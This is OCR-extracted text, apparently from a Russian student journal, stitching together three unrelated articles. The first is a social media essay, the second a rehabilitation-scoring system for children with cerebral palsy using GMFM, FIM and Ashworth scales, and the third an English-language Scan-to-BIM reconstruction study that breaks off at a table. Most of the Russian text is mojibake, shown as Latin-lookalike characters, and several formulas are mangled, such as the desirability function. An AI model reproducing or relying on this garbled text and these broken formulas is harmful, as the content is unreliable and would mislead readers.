1. VYupomienne obmenust U B3auMmozeicTBus. ColManbHBIE MEAWa YIPOIIAI0T
OOIIIEHNE MEXIYy JIIOJbMH, MO3BOJISISI MOAJNEPKUBATH CBS3M HE3aBUCHMO OT
reorpaduyeckoro mosiokeHus. OHU TO3BOJSIOT TOJACPKUBATH CBSI3b C
IpY3bsIMU M CEMbEH, HAXOIUTh ETUHOMBIIUICHHUKOB U CTPOUTH HOBBIC
OTHOLIEHUS. JTO OCOOEHHO aKTyaJbHO B YCIOBHSAX IJI0OaIM3allvd U
MOOHMIILHOCTH HAaCEJICHUSI.

2. Jloctyn k wHpOpManuu U oOpa3zoBaHuio. ColUaIbHBIE IIATHOPMBI CITyXKAT
3¢ GEKTUBHBIM HHCTPYMEHTOM JUISL PACIIpOCTPaHEHUsI HH(pOpMAIHK, BKITIOYast
HOBOCTH, 00pa30BaTEeIbHBIN KOHTEHT U WH()OPMAITHIO O BaKHBIX COIMATBHBIX
npobOiemMax. OHH  CHOCOOCTBYIOT  TIOBBIICHHIO  OCBEJOMJICHHOCTH
OOIIIECTBEHHOCTH W MOOWJIHM3AINK TpakaaHcKoro odmiectra. [lombp3oBarenn
MOT'YT TIOTYYaTh JOCTYI K HOBOCTSIM, HAYYHBIM CTaThIM U 00pa30BaTEIbHBIM
pecypcaM, KOTOpble CIIOCOOCTBYIOT PACIIUPEHUIO KPYro3opa M MOBBIIICHUIO
YPOBHSI O0pa30BaHHOCTU. B COBpPEMEHHBIX YCIOBHUSAX COILMAJIbHBIE Meaua
TaKKe UTPAIOT KIIIOYEBYIO POJIb B PAaCHpOCTpaHEHUH WHGPOPMALIMU BO BpeMs
KPHU3UCOB U YPE3BbIYANHBIX CUTYaLUi.

3. Ilnardopma ajis caMoBbIpakeHUsI U TBopUecTBa. OHIIAH-KYpChI, BEOMHAPHI U
Jpyrue o0pa3oBaTeNbHBIC PECYPCHI, AOCTYIHBIE Yepe3 COIMalbHBIE Meaua,
pacIIMpsSIIOT BO3MOXKHOCTH IS MOJYYEHUs 00pa30BaHUs M CaMOpa3BUTHA. A
TaKXe, COLUAIbHbIE MEMa MPEAOCTABIISIIOT JIIOASIM BO3MOXKHOCTh BBIPa3UTh
CBOM MBICJIH, TaJaHThl U KpeaTUBHBIE WAEHU. TBOpPUECKUE JIMYHOCTH MOTYT
JIEITUTHCS. CBOMMH pabOTaMu ¢ MIMPOKOH ayIUTOpHEH, MOydaTh OOpaTHYIO
CBSI3b U HAXOJUTh €IMHOMBIIUICHHUKOB. JTO CO3/1a€T YHHKAIIbHBIE YCIOBHUS
JUTSL KYJIBTYPHOTO OOMEHA U COTPYAHUYECTBA.

4.  DKOHOMHYECKHH POCT U pa3BUTHE: Meaua co31at0T HOBbIE BO3ZMOKHOCTH IS
Owm3Heca, TO3BOJISII KOMIIAHHUSM TIPOJBUTATh CBOU TPOAYKTHI W YCIYTH,
B3aUMOJICHICTBOBAaTh C KJIMEHTaMH M CTpouTh Opena. OHHM Takxke
CIIOCOOCTBYIOT PAa3BUTHIO HOBBIX JKOHOMHYECKHMX MOJENEH, TaKuX Kak
UHTEPHET-MapKETHUHT U ANEKTPOHHAS KOMMEPIIHSL.

5. Tlonutuueckass moobunmzaius U ydactue: ColMaibHbIe MEIMa CTaIl BaXKHBIM
UHCTPYMEHTOM TOJUTHYECKOM MOOWIM3alMM W ydacTus TpakdaH B
MOJUTHYECKON >Ku3HU. OHM TO3BOJISIIOT JIFOASIM BBIPA)KaTh CBOW B3IJISJIBI,
OPraHU30BbIBATH MPOTECTHI U YYACTBOBATH B MOJIUTHYECKUX TUCKYCCHSIX.
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Henocrarku conuanbHeIx Meaua

[lcuxuueckoe 340pOBBE M 3MOLMOHAIBHOE COCTOSIHME. lcmonmp3oBaHME COLMAIbHBIX
Me/Iia MOKET HETaTUBHO CKa3aThCsl Ha ICUXUYECKOM 370pOBbe Mosb3oBaTeneil. Mccinenoanus
IIOKa3bIBAIOT, YTO YPE3MEPHOE BPEMS, IIPOBEICHHOE B COLIMAIBHBIX CETSIX, MOXKET MPUBOAUTH K
JIETIPECCHH, TPEBOXKHOCTH U HU3KOM camoolieHke. CpaBHeHHE ce0sl ¢ APYTUMHU M0JIb30BaTeNsAMH,
0COOEHHO B KOHTEKCTe HJCATM3UPOBAHHBIX O00pa30B, MOXKET BbI3bIBATH  YYBCTBO
HETIOJTHOIIEHHOCTH M HEIOBOJILCTBA COOCTBEHHOM JKM3HBIO. VCTONbp30BaHNe COLMABHBIX MEHa
MoxkeT KubepOyivHT 1 OHIaiH-XapacCMEHT TaKkKe MPEACTaBIISIOT CEPhE3HYIO YTPO3Yy.

1. Jesundopmanus u manumyssiipn. C pacnpocTpaHeHHEM UHPOPMAIHH Yepe3
COLMAJIbHBIE MEOWa TaKXKE YBEJIMYMBACTCSA PHUCK  paclpOCTpaHEHUs
ne3uHpopmaiu U GeKkoBbIx HOBocTe. [lomp30BaTenn MOTYT CTOJKHYTHCS C
HE/IOCTOBEpHOM  MHQpOpMauuei, KoTopas  MOXET  MaHMITYyJIUPOBaTh
OOILIECTBEHHBIM MHEHHEM U (OPMHUPOBATH JIOKHBIE NPEACTABICHUS O
COOBITHAX. DTO OCOOEHHO MPOSIBISETCA B TMOJUTHYECKHUX M COLMAIBHBIX
KOHTEKCTaX, TIJ€ MAaHMITYJISHsS OOILECTBEHHbIM CO3HAaHUEM CIIOCOOHA
NPUBECTU K CEPHE3HBIM MOCIIEICTBHSM.

2.  Hapymenue npuBatHOcTU. MCHoOnb30BaHUE COLMANBHBIX MEAHMA CBSI3aHO C
pUCKaMU yTEYKH JIMYHOW HWHGPOpPMALMM M HapyIIEHUEM IPUBATHOCTH.
[onp30BaTen 94acTo HEBOJBHO JENATCS JMYHOW HMH(pOpMAIMeH, KoTopas
MOXET OBITh HCIIONB30BaHA 3JI0yMbIIUICHHUKaMU. KpoMe Toro, KoMmaHHH,
KOTOpBIE BJIAJEIOT IUIaTPOPMaMHu, MOTYT COOMpaTh U HCHOJIb30BaTh JAAHHBIE
NOJIB30BATENe B KOMMEPUECKUX LETIsIX 0e3 UX COTacusl.

3.  CommanbhHas wusomauus. [lapamokcambHO, HO, HECMOTpS Ha TO, 4YTO
COLIMAJIbHBIE MEMa CO3JJal0T BO3MOXHOCTH JJISi OOILLEHHUS, OHU TaKXe MOT'YT
INPUBOJIUTH K COLMATIBHOMN M30 MU, HekoTopble Nonb30BaTeNy, OrpyKasch
B BUPTYaJIbHBIA MHpP, YTPAUUBAIOT MHTEPEC K PEabHbIM B3aUMOJICHCTBUIM,
YTO MOXKET CIOCOOCTBOBATh YXYAIICHHIO MEXKIMYHOCTHBIX OTHOLICHUH WU
Pa3BUTHIO OJJMHOYECTBA.

4.  Tlomspuzaumsi obmectBa u  dKcTpeMusm: ColuanbHble Meaua MOTYT
YCUJIMBATh TOJSPU3AIMIO OOIIECTBa M CHOCOOCTBOBAThH PaCIpPOCTPAHEHUIO
OKCTPEMHUCTCKHX B3IJIAJ0B. «IX0-KaMepb» U (UIbTphl MH()OPMALMOHHBIX
y3bIPEN OrPAHUYUBAIOT JOCTYII K Pa3JIMYHBIM TOUKAM 3PEHUSI.

5. 3aBUCHUMOCTb M NOTEpsl BpeMeHHU: Upe3MepHOe MCIOIb30BaHUE COLMATbHBIX
MeInua MOYKET IPUBECTH K 3aBHUCHMOCTM M TIOTEPE BPEMEHH, OTBJIEKas OT
BaXKHBIX JIEJI U MeIlIasi IPOAYKTUBHOCTH.

Taxum 00pa3oM, MOXKHO CKa3aTh BIMSHUE COLMAIbHBIX MEAMa Ha OOIIECTBO SBISETCS
CIIO)KHOW M MHOTOTPAaHHOW IMPOOJIEeMOM, HE CBOMSIIECHCS K MPOCTOMY MPOTHBOIIOCTABICHUIO
MIPEUMYIIECTB U HelocTaTKOB. C OTHOM CTOPOHBI, 3TH TUIAT(GOPMBI CITYKaT A1 KOMMYHHUKAIIUU
u obecneumsid J10CTyN K MH(OpMalMM U pecypcam, CTUMYIMPOBAIN SKOHOMHYECKHH POCT U
paclMpiiIi  BO3MOXHOCTH TOJMTHYECKOrO yudacTus. C JOpyroil CTOpOHBI, OHM IOPOKAAIOT
cephe3Hble MPOOJIEMBI, BKJIOYAsl YXY/IIEHHE ICUXUYECKOTO 3/I0pOBbs, PACIpPOCTPaHEHUE
ne3uHpopMaIuy, yrpo3sl MPHUBATHOCTH, MOMSpH3ALMIO olmectBa W (popMupoBaHue
uH(pOpMaLMOHHBIX My3bIpei[3].

OnTUMUCTUYHBIN B3MJIA] MPEAINOaraeT, 4rto, 00jaias OCO3HAHHOCThIO U KPUTUYECKUM
MBILUIEHUEM, OOILIECTBO MOXKET UCTIOJIb30BaTh MOTEHIINAT COLUATIbHBIX MEANUa JAJISl JOCTHKEHUS
MO3UTHBHBIX U3MEHEHUH. OTHAKO eCCUMUCTUYECKHUI CIIEHapHii yKa3bIBaeT Ha HEOOXOAUMOCTD
aKTMBHOTO  BMEIATENbCTBA, BKIIOYAIOLIETO  pa3paboTKy A(PQPEKTHUBHBIX MEXaHHU3MOB
peryiarpoBaHusi, IPOJBMKEHUE MEINArpaMOTHOCTU U pa3BUTHE MHCTPYMEHTOB JUIsl OOPHOBI C
nesunpopmarnmeit 1 kubepOyimHroMm. bymymiee B3auMomeHCTBUS OOIIECTBA U COIMATBHBIX
Meaua BO MHOTOM 3aBHCUT OT CIIOCOOHOCTH HaMTH OanxaHC MEXAY HCIIONb30BAHUEM HX
MOTEHIIMaIa 1 MUHUMM3allMei HeraTUBHBIX MOCIIEACTBUH.

*k*

1. Ab6nymnaea P.A. AHAJIN3 BJIMAHUA COLMAJIBHBIX CETEM HA XH3Hb COBPEMEHHOI'O
OBIIECTBA // MexayHapoaHblii )KypHAI TPUKIAAHBIX U QyHIaMeHTaIbHbIX UccnenoBanuid. — 2015. — Ne
9-3. — C. 542-546; URL.: https://applied-research.ru/ru/article/view?id=7369 (nara obpamienus: 11.12.2024).
2. URL.: http://corp.mail.ru/media/files/issledovanie-auditorij-sotcialnykh-setej.pdf.
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OH. — Teker : HenocpeacTBeHHbIi // Mosomoii yuensiit. — 2024, — Ne 43 (542). — C. 60-63. — URL.:
https://moluch.ru/archive/542/118655/ (nata obparenns: 12.12.2024).
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AHHOTAIMA

B cratee paccmarpuBaeTcs pa3pabOTKa CHUCTEMBbI ISl OLEHKH 3(PPEKTUBHOCTU
peadumTanuu  JeTeld C [epeOpalbHBIM MApaTudoM C HCIOJIB30BAHHUEM HHTETPATBHOTO
MOKa3aTelIs 37T0POBBSI.

KiroueBble ciioBa: pa3pa0oTka, cHCTEMa, PeadWIUTALUs, IETCKHid IiepeOpallbHbIN
Tapajny, HHTErPATbHBIN MOKa3aTeNb 3I0POBBSI.

Abstract

The article discusses the development of a system for evaluating the effectiveness of
rehabilitation of children with cerebral palsy using an integral health indicator.

Keywords: development, system, rehabilitation, cerebral palsy, integral health indicator

Onenka 3((GEeKTUBHOCTH pPEeaOMIMTALMOHHBIX MEPONPHUITUI SBISIETCS OJHOM U3
KITFOUEBBIX 337a4 B cepe MEIUIMHCKOW peabWiImTanuy, OCOOCHHO KOraa pedb HAET O
MalMeHTax C OrPaHUYCHHBIMU (YHKIMOHAJIbHBIMH BO3MOXKHOCTSIMH, TaKMX Kak JIEeTH C
nepeOpanbHbIM napanudoM (JLIT).

CoBpeMeHHbIE METOIBl PEAOWINTALMK HANPaBICHb HA YIy4lIEHHE MOTOPHBIX
(GyHKUUH, CHM)KEHUE CIACTUYHOCTU U TOBBIIICHHE YPOBHS HE3aBUCUMOCTH B TOBCEIHEBHOMN
#3HU. OpHaKo Ui OOBEKTHBHOTO aHalu3a IMpOrpecca MalMeHTOB BAaXHO HWMETh METOJbI
OIICHKH, KOTOPBIE OBl YIUTHIBAIIN PA3THMYHBIC ACTIEKTHI UX COCTOSTHUSI.

B nmanHolf crathe Obuia pa3pabotana cuctema Ha 0aze miardopmsl  1C,
obecrieunBaroliass MNPUMEHEHHE MeEToJa OHEHKH A(PQPEKTUBHOCTH  peadWiUTalud ¢
WCIIOJIBL30BAaHUEM HWHTETpalibHOro mokazatens 310poBbs (MI13). lanablii MeTonm oObeauHsET
MOKA3aTeNIM JIBUTATEIbHOW aKTUBHOCTH, HE3aBUCHMOCTH M YPOBHS CIIACTUYHOCTH, MCIIOJb3Ys
takue mkaiael, kak GMFM (Gross Motor Function Measure), FIM (Functional Independence
Measure), u Modified Ashworth Scale (MoaudumpoBanHast nkasa J1BopTa).

Gross Motor Function Measure (GMFM) — mkana ajst OLEHKHA KPYIMHBIX MOTOPHBIX
¢bynknuid. Tect mpencraBineH B IByX Bepcusix: opuruHainbHOH GMFM-88 m oO0HOBIEHHOM
GMFM-66. TlepBasi Bepcusi BKItouaeT 88 3amaHuii, HANpaBICHHBIX Ha OIEHKY MOTOPHBIX
HAaBBIKOB B IIITH KATErOpPHAX: JIGKAHWE M TEpeKaT, CHJICHHE, IMON3aHHe U TIOJIOKEHHE Ha
KOJICHSIX, TIOJIOKEHHUE CTOSI, a TAKXKe X0Ah0a, OeT U MPBIKKH.

Functional Independence Measure (FIM) — TecT 15t OLICHKH YPOBHS (YHKIIMOHATBHOM
He3aBucuMoctu. [llkanma Bxmrouaer 18 myHKTOB: mepBble 13 OLEHMBAIOT JBUTaTENIbHBIE
(hyHKITUH, a TIOCJIeTHUE 5 — KOTHUTUBHBIE CIOCOOHOCTH.

Modified Ashworth Scale (MoguduipoBannas mkana S1mBopTa) — MIKAJIA IS OLEHKH
CIIACTUYHOCTH, TO €CTh TIIOBBIIICHNS MBIIIEYHOTO TOHYCA, XapaKTEpPHOrO JUIA psaa
HeBpoJiornueckux 3adoneBanuil. [llkana mo3BossieT U3MEPUTh CTENEHb COMPOTUBICHHS MBIIII]
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IIPU MACCUBHBIX JIBUKECHHUSX, YTO IOMOraeT ONpeaeiuTh TskecTh cocrosHus. [llkama Obuia
MHTEPIPETUPOBaHA TAKUM 00pa30M, YTO MAaKCUMAJIbHOE 3HAYEHUE COOTBETCTBYET HAMIYULIEMY
COCTOSIHMIO, UTO YJIyYIIAeT €€ COIOCTaBUMOCTh € IPYIMMH IIKaJIaMHU.

CucTeMa COCTOUT U3 CIEAYIOIIUX JIEMEHTOB!

- cripaBouHUK «llanmeHTb;

- nokyMeHT «FIM (Tect pyHKIIMOHATEHOM HE3aBUCUMOCTH )Y,

- nokyMeHT «GMFM-88 (Tect KpymHbIX MOTOPHBIX (DYHKLIUH)»;
— JTOKyMeHT «MoanpuIypoBaHHast MKaia JIMIBOPTAY;

- o0pabotka «OteHka 3(pheKTUBHOCTI;

B noxymentax FIM u GMFM-88, koTopble moka3zaHbl Ha pUCyHKax 1-2, HE0OXOIHUMO
BBICTaBUTH OAJUIbI MO0 KaXKIOMY IYHKTY, IOCJIE€ Yero HaxkaTh Ha KHOMNKY «Paccumtarey. Taxoke
BO BCEX JIOKYMEHTax MpeCTaBlIeHa METOIMKa MPOBEJICHHUS, KOTOpasi OTOOpa3UTCs, €CIIM HaXKaThb
Ha COOTBETCTBYIOIIYIO KHOIIKY.

+ FIM (TecT dyHKyMoHaneHol HesaBucumocTi) 000000001 ot 06.12.2024 14:34:28
MpoBECTH U 3aKpLIT ‘ 3anucare Mposecti

Homep: 000000001 Mara: |06.12 2024 14:34:28 )

Maument: |Meanos Mean Weanosiy v @
ToKasaTE METOAMKY NpoBEAeHIA

Camoobenysuaanne . | 4 Opesanue, sepxuan uacre n

Tena

1. Mpuen nuwn 4
KOHTpOMS iyHKuHM Ta308bix OpraHos
2. Nuuan rurvena 5

Mepemewyerue 5. OpeBanHe, HIDKHAR YacTs Tena: |4

e —— 3. MpunaTue Banku/ywa: |6 “ | 6 Tyaner 5
Qb enne

CoupankHan akmeHocTs

Paccyurtare Peaynetar: 88

Pucynox 2. Joxymenm « FIM (Tecm @hyHKyuoHanbHOU HE3A8UCUMOCTI)Y .

B naHHO# mIKane MCTONb3yeTcss ceMUOAIbHAS INKaNa OLEHKH, KOTOpas OMpeersieT
YPOBEHb 3aBUCHMOCTH: OT TIOJIHOM HE3aBHCHMOCTH, KOTJa pPeOCHOK BBINOJHSCT BCE JICHCTBHS
camocToATeNbHO (7 6aJIOB), 0 MOJHOW 3aBUCUMOCTH, KOTJIa OH CAMOCTOSITENTLHO CTIPABIISIETCS
MeHee ueM ¢ 25% 3amad (1 Gamn).

- GMFI-BB (TecT spyeiace MITGRHIK Giywiiqa) 000000001 o1 06.12.2024 14:36.01

L

Pucynox 3. Jokymenm « GMFM-88 (Tecm KpynHvlx MOMOPHBIX (YHKYULL)».

OneHka BBIOMHEHUSI OCYHIECTBISIETCS MO CJIEAYIOIIMM YPOBHSAM: OT IOJHOTO
orcyrctBUs NONbITOK (0) 10 yacTruHoro (1-2) Min noaHOro BEIMOIHEHUS (3).

B mxkane DmBopra I0CTaTOYHO BBIOpaTh OAWH U3 MPEAJIOKEHHBIX BapUAHTOB, Kak
MOKA3aHO Ha PUCYHKE 3.
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+ =+ MopuduyuposaHHas wkana 3weopta 000000001 ot 06.12.2024 14:36:16
m‘ 3anucats MpoeecTi
Homep: 000000001
Nara 06.12.2024 14:36:16 |EI
MayueHT: |HE|aHUE| MeaH Meanoeuy - |P|
MeTognka nposegeHns

0 MBILIEYHEIR TOHYC HE NOBLILEH.

TINerkoe NoBLIWEHKe TOHYCA B BUAE KPATKOBPEMEHHOTO HANPAXEHNA W BEICTPOro paccnadnenua
MBILILS! MMM MAHUMATBHOTO CONPOTUBIEHNA B KOHLIE NACCUBHOMO CTMOAHNA UMK pasrnbaHnA.

TIerkoe NOBLIWEHKE TOHYCA B BUAE KPATKOBPEMEHHOTO HANPAKEHUA MEILLEI C MUHUMANEHEIM
CONPOTUBNEHHUEM NPU NPOAOITASHUN NACCHBHOMO ABIKEHNA (MEHEE NONOBWHEI aMNNUTYAEI).

Bonee BbipaxeHHOE NOBbIWEHIE MbILEYHOMo TOHYCA, OLLYIWAEMOE BO BPEMA BLINONHEHUA NOYTH
2 | BCEro NacCUBHOro ABILKEHUS; NPK 3TOM NOPaXeHHbIN(e) CermMeHT(bl) KOHEUHOCTI NErko NOAAAKTCH
NBITKEHMIO.

3 2HAYNTENBEHOE NOBLIWEHWE MbILEYHOIO TOHYCA, NACCHBHLIE [BIKEHUA 3aTPYAHEHEI

4 MopaeHHelii(e) cermeHT(bl) HeNOABIAHLI NPK CTMBAHWKM UMK pa3rubaHK.

Pucynox 4. JJoxymenm «Moougpuyuposannas wikaia ueopmay.

JlaHHy0 nporelypy HeoOX0MMO IIPOBECTH JBa pa3a: 10 U Iocie Kypca peabrInTaiyy.
Ilocne mpoBeneHHss JOKYMEHTOB  HEOOXOAMMO mepedTh B o0pabotky  «OueHka
3¢ GEKTUBHOCTHY», BBIOpATh TMAIMEHTA W HAXKaTh Ha KHOMKY «PaccumTarhy», Kak TMOKa3aHO Ha
pHUCYHKE 4.

- Ouesira scbebeiTueHOCTH

2 PeynkraT: sHaMMTENbHOE Yy eHnE

Tect FIM: Tect GMFM: Wkana 3wseopTa:
B 0 3

L
S
L]

0 v

Pucynox 5. Obpabomra « Oyenxa s3¢pgpexmusrocmuy.

OO0pa0oTka BBIBOJUT COOTBETCTBYIOLIMI pE3yJabTaT JIEUYEHHUS U OTOOPaKaeT YeThIpe
JMarpaMMbl: TPU JMarpaMMbl MOKa3blBalOT OAJlIbl IO TPEM paHHEE NMPUBEACHHBIM ILKAJIaM, a
TaKKe AUArpaMmy, MOKa3bIBAIOILYIO Pa3HUILy HHTETPAIbHOIO MOKA3aTeNs 310pOBbs 10 U 110CIe
Kypca peaOuiIuTaIym.

Hannas o0paboTka OOBEIMHSAET TMOKa3aTeNd MO Pa3HBIM IMKajdaM B €IUHBIA WHICKC,
MpeBApUTEIHLHO HOPMAIIM30BaB JaHHBIE MO Kaxaod mkane. B padore Cremanenko H.IL
HOPMaJIN3alysl BBIIOJIHSIIACH 110 (hopMyIie:

i =—f)
) ) Xig — XiH“

rze Xi—3HAa4YeHUe i-ro MoKa3arelis B UCXOJHOM ILKale;

X1H — HWXKHSS TPaHHLIA HOPMBI,

X1B — BEpXHSS [PaHULIA HOPMBI.

s GMFM  Bepxuss rpanuna coctasiasier 100, 4TO COOTBETCTBYET IIOJIHOMY
BBINIOJIHEHHIO BCEX JIBUTATEJIBbHBIX 3a/1a4, B TO BpeMsl KaK HMKHAA rpaHuua — 0, 4To yKa3blBaeT
Ha TIOJHYIO HECIOCOOHOCTh K BbINONHEHMIO JBWwkeHHd. [l FIM  nuama3oH OIEHOK
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BappHupyeTcs oT 18 mo 126 OGamioB. MunumanbpHOe 3HaueHHE 18 yka3plBaeT Ha TOJTHYIO
3aBUCUMOCTD ITAIIMEHTA, a 126 — Ha MOJIHYI0 HE3aBUCUMOCTb. YTO KacaeTcsl KaJibl DIIBOPTa, TO
C Y4eTOM HHTEpHpEeTalMl BEpXHssl TpaHMIla COCTaBiIsIeT 6, 4YTO O3HA4YaeT OTCYTCTBUE
CMIACTUYHOCTH (HAaWJIydIllee COCTOSIHME), a HIKHAS TpaHuma — 1, YTO COOTBETCTBYET
MaKCUMaJIbHOM CITACTUYHOCTH (HAMXY/IITIEE COCTOSTHUE).

Jns mepeBofa HOPMAIM30BAHHBIX 3HAYEHUM B YCIIOBHBIC €IMHHUIIBI HCIIOJIb30BaNach
(GyHKUMS TPUHAAICKHOCTH XappUHITOHA, KOTOpas IO03BOJIIET MpeoOpa3oBaTh 3HAUCHUS B
HiKairy, riae | COoTBeTCTBYET HaTydIlIEMy COCTOSIHUIO, a (0 — HAaUXyumemy:

Ind (Zi) = —e_zi,

WHTerpanpHelii  MOKa3aTeldb 3A0POBbS  PACCUUTBHIBAICA Kak CpeJHEe 3HAauCHHE
peoOpa3oBaHHBIX JAHHBIX MO TpeM Mmkamam. Mumexkc E, KoTOpwiii OoTpaxaeTr OTKIOHEHHE
3HAUCHUH MOKa3aTeel OT NACATBHBIX, PACCUUTHIBAJICS O (hopmyIie:

n
1 2
E = H - (dl - 1) ’
i=1
3ateM 1o creayromueit popmyne 661 paccuntan UI13:
WUM3 = (1 —E) - 100%.
PesynpTarel JIe4eHUs OLICHMBAINCH HAa OCHOBE M3MEHCHMS II0KA3aTelsl 310pOBbs C
HCTIONIb30BaHUEM YETHIPEXYPOBHEBOH IIKAJIB, TPEACTaBICHHON B TabuuIe 1.

Tabnuya 1
Kpumepuu oyenxu pezyniomamos neuenust
AUIT3 Oyenka
bonee 10,1% 3nauumensvhoe ynyuuienue
Om 5,1 0o 10% Yayuwenue
Om 0,1 00 5% be3 nepemen
0% u menee Yxyowenue

Takum o6pa3om, pa3paboTaHHas cHCTEMa HE TOJIKO YIIPOIIAeT MPOIECC OLEHKU
peabmwmmranuu aereit ¢ [ALIL HO m aBTOMaTH3MpyeT pacdyeT pe3yJbTaTOB TECTOB IO ILIKAJIaM
GMFM-88, FIM u wMoaudumupoBaHHONW IKase OmBopTa. briarogaps BCTpOSHHBIM
arOpUTMaM, CUCTeMa OBICTPO M TOYHO 0OpadaThIBACT BBEACHHBIC JaHHBIC, HOPMAJIH3YET
MOKA3aTeNId M BBIUUCISET MHTErPaIbHBIA Mokazateib 310poBbsi (MII3), uyTo MuHuUMM3HpYeT
BEPOATHOCTH OMIMOOK M YCKOPSIET NMPHHATHE PEHICHWH O JalbHEWIIeM peaOHINTAIIOHHOM
JICUCHHU.

*k*k

1 Crenanenko H.II. Ouenka 5(deKTHBHOCTH  peaOMIIMTALMOHHBIX  MEPONPHUSTHH €  [OMOIIBIO
WHIMBHIYAJIFHOTO MHTETPATBbHOTO TMoKazarens 300poBbs / Cremanenko H.IL., JIeua U.A., FOmamesa A.JI.
// Mex tyHapOJHBIH )KypHAI IPUKIAIHBIX U QyHAaMEeHTANbHBIX uccienoBanuit. 2019. Nel0. C. 179-183.

2. CymoreBa H.A. Bammpars MomadurmpoBarHoi mkamsr dmBopta (Modified Ashworth Scale) B Poccun /
CynoneBa H.A., IOcynosa JI.I'., Unbuna K.A., Menvuenko J[.A., ByrkoBckas A.A., Xuposa E.C,
Taparyxuna A.C., 3umun A.A., 3aiitieB A.b., KimoukoB A.C., Jltokmanos P.X., KotoBcmonenckmii A.M.,
XwxaukoBa A.E., T'armna I.A., Kymiybaes M.A., [MupagoB M.A. // AHHanbl KIMHUYECKOH U
aKcrepuMeHTabHON HeBposoruu. 2020. Nel, Tom 14. C. 89-96.

3. Jluryc A.1O. Vicnionp3oBanue mkansl GMFM-88 st oreHkn 3¢ peKTHBHOCTH KPaTKOCPOYHON HHTEHCHBHOMN
peabwmranyy gereil ¢ pBurarensHbiMM Hapymienusimua / Jlurye AO., T'.II. deckkoB // BecrHuk
BOCCTaHOBUTENLHOM MeauuuHbl. 2021. Ned, Tom 20. C. 90-97.

4. SxonroBa, Y. M. HccnenoBanue 1 pa3padoTka MHTEIUIEKTYAJIbHOW CHCTEMbI TMarHOCTHKU TOHYCA MBI
quia y gerei ¢ JUIT / M. M. fSxontora, K. /1. Jlemenko, E. FO. Bonotos // Tlonautemarnueckuii ceTeBoi
JNIEKTPOHHBIH Hay4dHBIH *KypHan KybOaHCKOro rocymapcTBeHHOTO arpapHoro yauBepcurera. — 2024, — Ne
198. — C. 343-357. — DOI 10.21515/1990-4665-198-032. - EDN EEDWWT.
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Abstract

This article examines Scan-to-BIM technology as an innovative tool for the
reconstruction of industrial facilities. It explores the fundamental principles of its operation,
including data collection methods such as laser scanning and photogrammetry, and their role in
creating high-precision digital models. The study investigates the impact of Scan-to-BIM on
improving design accuracy, detecting clashes, and optimizing design solutions. Practical
applications of the technology in industrial and general-purpose facilities are presented,
demonstrating its efficiency in reducing time expenditures and improving the quality of design
documentation.

Keywords: scan-to-BIM, reconstruction, industrial facilities, laser scanning,
photogrammetry, BIM modeling, project processes.

AHHOTALIUSA

B nannoil cratbe paccmarpuBaercss TexHosnorus Scan-t0-BIM kak MHHOBallMOHHBIN
MHCTPYMEHT AJIs1 PEKOHCTPYKIIUHU NTPOMBIIITIEHHBIX 00BEKTOB. V3y4aroTcsi OCHOBHbIE IPHUHIIUIIBI
e€¢ paboThl, BKIIOYAsh MeETOAbI cOOpa JaHHBIX, TAaKWE KaK JIa3epHOE CKAaHMPOBaHUE U
¢doTorpamMmerpus, a TaKKe HMX PpOJIb B CO3JaHMM BBICOKOTOYHBIX IM(POBBIX MOJEICH.
Uccnenyercs BnusHue Scan-t0-BIM Ha moBblllIeHHE TOUHOCTH MPOEKTUPOBAHMUS, BBISIBICHUE
KOJUIM3MHA W ONTUMM3ALMIO NPOEKTHBIX pelieHui. M3yuaercs mpakTuka ee NpPUMEHEHHs B
MPOMBIIUICHHBIX M HECTICUAIM3UPOBAHHBIX O00BEKTaX, AEMOHCTpHpYIomas 3(p(eKTHBHOCTL B
COKpAILEHUN BPEMEHHBIX 3aTpaT U YJIy4lIEHUH KaueCTBa IPOEKTHON JTOKyMEHTALIUH.

KiroueBble ciioBa: Scan-t0-BIM, pekoHCTPYKITHUS, TPOMBIIUICHHBIC O0BEKTHI, JIA3EPHOE
ckaHupoBaHue, (pororpammerpusi, BIM-mozaennpoBaHue, NpOEKTHbIE MPOLECCHI.

Introduction

Modern construction projects face increasing demands for precision in design and
optimization of time expenditures. The rapid development of scanning and digital modeling
technologies introduces innovative approaches to project management. Scan-to-BIM technology
(scanning for building information modeling) effectively transforms physical data of an object
into a digital information model, as it minimizes errors and enhancing the level of detail. This
methodology is increasingly sought after for reconstruction, modernization, and design of
projects of any complexity.

The primary advantage of Scan-to-BIM technology lies in its ability to integrate laser
scanning or photogrammetry data with building information modeling (BIM) processes. This
approach secures accurate documentation of existing conditions, identifies clashes, and
automates several design operations. Implementing this technology also poses various
challenges. They can include the complexity of data processing, high demands on equipment and
software, and the necessity of personnel training. The purpose of this study is to explore the
impact of Scan-to-BIM technology on optimizing project processes to enhance accuracy and
reduce project development time.

Main part. Features of Scan-to-BIM technology in industrial facility reconstruction

The Scan-to-BIM methodology involves the processes that change data captured by laser
scanning or photogrammetry into Building Information Models (BIM). It is quickly gaining
more and more importance in the construction industry, especially under aspects of
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reconstruction in industrial plants where particularly the current state of infrastructure has to be
considered [1].

The basic rule of the technology is centered on the accurate documentation of the
physical state of an object, followed by the creation of a three-dimensional digital model. Such a
process begins with laser scanning or photogrammetry, through which data in relation to the
geometry, structural elements, and current condition of the object can be gathered. Laser
scanning holds a high accuracy, making a point cloud of millions of coordinates that represent
surfaces of the object. This data is then processed using specialized software, converting it into a
parametric model that meets BIM standards.

Scan-to-BIM technology integrates geometric data with additional information about
structural elements, such as materials, wear, technical specifications, and operational constraints.
This approach enables the reproduction of an object's physical parameters, the analysis of its
condition, and the planning of repair and modernization works. According to a survey conducted
in a large-scale study in 2021 [2], Scan-to-BIM technology is widely used directly in laser
scanning, BIM modeling, and point cloud cleanup (fig. 1).

Laser scanning survey
Point cloud cleanup

BIM Modeling

Scans alignment
Photogrammetry survey
Photogrammetry processing
Technical plans

Photo acquisition

GNSS survey

Manual measurements
Other

0 20 40 60 80 100
Figure 1. Survey on the usage of Scan-to-BIM project phases among global professionals, %

Scanning technologies are a key component of the Scan-to-BIM process, providing
accurate data on the physical condition of objects. This data is subsequently used to create
detailed digital models [3]. The primary scanning methods applied in Scan-to-BIM are laser
scanning (LIDAR) and photogrammetry. Photogrammetry is based on the analysis of
photographs taken from various angles. Specialized software transforms the images into a three-
dimensional model of the object. Laser scanning is the most commonly used data collection
method for Scan-to-BIM. It relies on laser beams to measure distances to the surfaces of the
object. A laser scanner generates a point cloud consisting of millions of coordinates that
accurately reflect the geometry of the object. Scientific studies classify various LIDAR systems
into categories such as mobile laser scanning (MLS) or airborne laser scanning (ALS) (table 1).

Table 1
